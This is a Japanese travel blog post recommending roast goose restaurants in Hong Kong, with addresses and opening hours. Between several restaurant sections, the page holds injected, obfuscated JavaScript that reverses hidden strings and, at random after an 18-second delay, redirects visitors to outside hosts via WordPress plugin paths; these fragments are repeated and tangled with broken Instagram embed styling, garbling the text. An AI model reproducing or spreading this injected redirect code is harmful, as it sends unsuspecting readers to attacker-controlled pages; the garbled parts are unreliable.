香港旅行するからには香港らしい食べ物が食べたいですよね。私はいつも香港旅行するとき（在住前）、毎回必ず食べると決めていたのは「ローストグース」。
ローストグースとは”ガチョウ”のことです。ガチョウって日本であんまり食べないですしゲテモノ感はするかもしれませんが、チャーシューと同じく香港では人気のあるお肉です。
グース（ガチョウ）は外はパリパリ、中は柔らかくしっとりでとても美味しく甘めのたれがご飯にもピッタリ。
グースというとセントラルにある「鏞記（ヨンキー）」が有名で美味しいですがちょっとお高いので、今回は私がお勧めするお店を紹介します。
目次
一樂燒鵝（Yat lok Resutaurant）
ミシュランにも掲載されているセントラルの有名店。観光客にも大人気ですね。
アナザースカイでジェジュンが来ていたお店ですね。
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グースのお供はご飯か麺を選択できますが、麺は日本人には馴染みのない麺であまり美味しいと言う人は少ないので、ご飯のほうがお勧めです。
日曜は17時半には閉まるので早めに行くことをおすすめします。
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◆お店情報
- 住所：中環士丹利街34-38號地舖
- 時間：10:00 – 21:00(月火木金土)、10:00 – 17:30(日)※水曜定休日
甘牌燒鵝（Kam’s Roast Goose）
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あの有名店「鏞記（ヨンキー）」の創業者の孫が独立してオープンしたお店です。（お家騒動あり）オープンして1年未満でミシュランに掲載されました。
「鏞記（ヨンキー）」よりも少しお手軽に食べられますし味も文句なしに美味しいのでお勧めです。ここは叉焼も美味しいのでハーフハ&ハーフがいいかと。
現在デモの関係でさほどというかほとんど並ばずに入ることができます。デモの前はランチやディナーの時間をさけても行列必須のお店でしたが、お客さんはほとんどが中国人だったということもあり、現在はスッと入ることができます。
小さいお店なのでランチのときは混みますが、その時間だけをさけると大丈夫です。
◆お店情報
- 住所：灣仔軒尼詩道226號寶華商業中心地舖
- 時間：11:30 – 21:30
裕。鵝莊
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私が実は一番好きなグースのお店は深井というエリアにある裕記なのですが、そこのお店が尖沙咀に支店をオープンしてくれました！
尖沙咀なので観光にも便利な立地ですのでお勧めです。しかも23時までオープンしています。本番の深井に負けてないくらい美味しいですよ。
お昼はお得なランチセットがあります。しかも紙に記入するタイプなので間違えることなくゆっくり注文できるので安心です。
グースのお店って香港島に集まっているイメージでしたが、九龍側の繁華街尖沙咀にできたので私も嬉しいです。
◆お店情報
- 住所：尖沙咀亞士厘道37號九龍中心地下C號舖
- 時間：11:00 – 23:00
波記燒臘粉麵店
$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 6px; width: 100px;”>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 12px; width:50px;”>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 8px;”>この投稿をInstagramで見る$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); 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if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 8px solid #F4F4F4; border-left: 8px solid transparent; transform: translateY(-4px) translateX(8px);”>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 24px;”>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); 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if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_hongkong_restaurants)がシェアした投稿
日本の雑誌に載っていたのですが、「あんなところ載るんだ」とビックリしたほど下町にあるローカル感満載のお店です。雑誌を見て行った人はびっくりするんじゃないでしょうか。
週末のお昼過ぎだとグースは売り切れてしまうことが多いので、ランチに行かれることをお勧めします。地元の人は麺の上にグースがのったものを注文していますが、個人的はライスがお勧めです。
香港大学駅付近など西環あたりにお泊りの方には便利かと思います。スタッフの人もお客さんも優しいですよ～！
◆お店情報
- 住所：西環石塘咀皇后大道西425號P舖地舖
- 時間：11:30 – 20:00※日曜お休み
棋哥燒鵝餐室Ki’s Roasted Goose Restaurant
$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 6px; width: 100px;”>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); 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行列に並びたくない人におすすめしたいのがこちら。いつでも割とすんなりお店に入ることができます。
香港内に5店舗あるここは味も美味しいですし店内も綺麗でおすすめです。
ファーストフード的な感じのお店ですが、グースもパリパリして本格的な味ですよ！
◆お店情報
- 灣仔軒尼詩道423-425號嘉年華商業大廈地舖
- 銅鑼灣渣甸街45號人人商業大廈地下
- 天后電氣道79-81號發昌樓地舖
- 筲箕灣寶文街2號海峰中心地下9號舖
- 銅鑼灣謝斐道483-499號新城大廈地下G及H號舖
再興燒臘飯店（Joy Hing Roasted Meat）
$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 6px; width: 100px;”>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); 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観光客にも便利な湾仔にある再興。
ここのお店はグースとシャーチューが人気のお店。ハーフハ&ハーフの「燒鵝叉燒飯」がお勧めです。
ここは欧米人のお客さんがとても多く、店員さんも初めから英語で対応してくれます。ただし、かなりお店自体がバタバタしているのと相席の距離が近すぎて私はもうあまり行くことはなくなってしまいましたが、今も変わらず観光客にはとても人気のお店です。
◆お店情報
- 住所：灣仔軒尼詩道265-267號地下C座
- 時間：09:30 – 22:00※日曜お休み
【番外編】Chop Chop(食神叉燒)
$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 6px; width: 100px;”>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); 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グースメインではないのですが、綺麗なお店で手軽にシャーチューやグースが食べたいって言う人にはこの「Chop Chop(食神叉燒)」が本当におすすめ。ここはとても綺麗でおしゃれなのでローカル寄りなお店が苦手な人にピッタリ。
場所は観光地ど真ん中というわけではなく北角駅の1つ手前の「炮台山(Fortress Hill)」という駅の近くにあります。
コメディ映画「食神」に出ていたシェフが顧問をつとめ映画に出ていたメニューもあります！
◆お店情報
- 住所：北角宏安道18號地下3號舖
- 時間：11:00 – 21:00
まとめ
基本香港ではどのお店も美味しいです。
ぜひ香港旅行きたら香港でしか食べれないグースや叉焼を楽しんで下さいね。
私、叉焼も好きなので次は叉焼のお店を紹介したいと思います。
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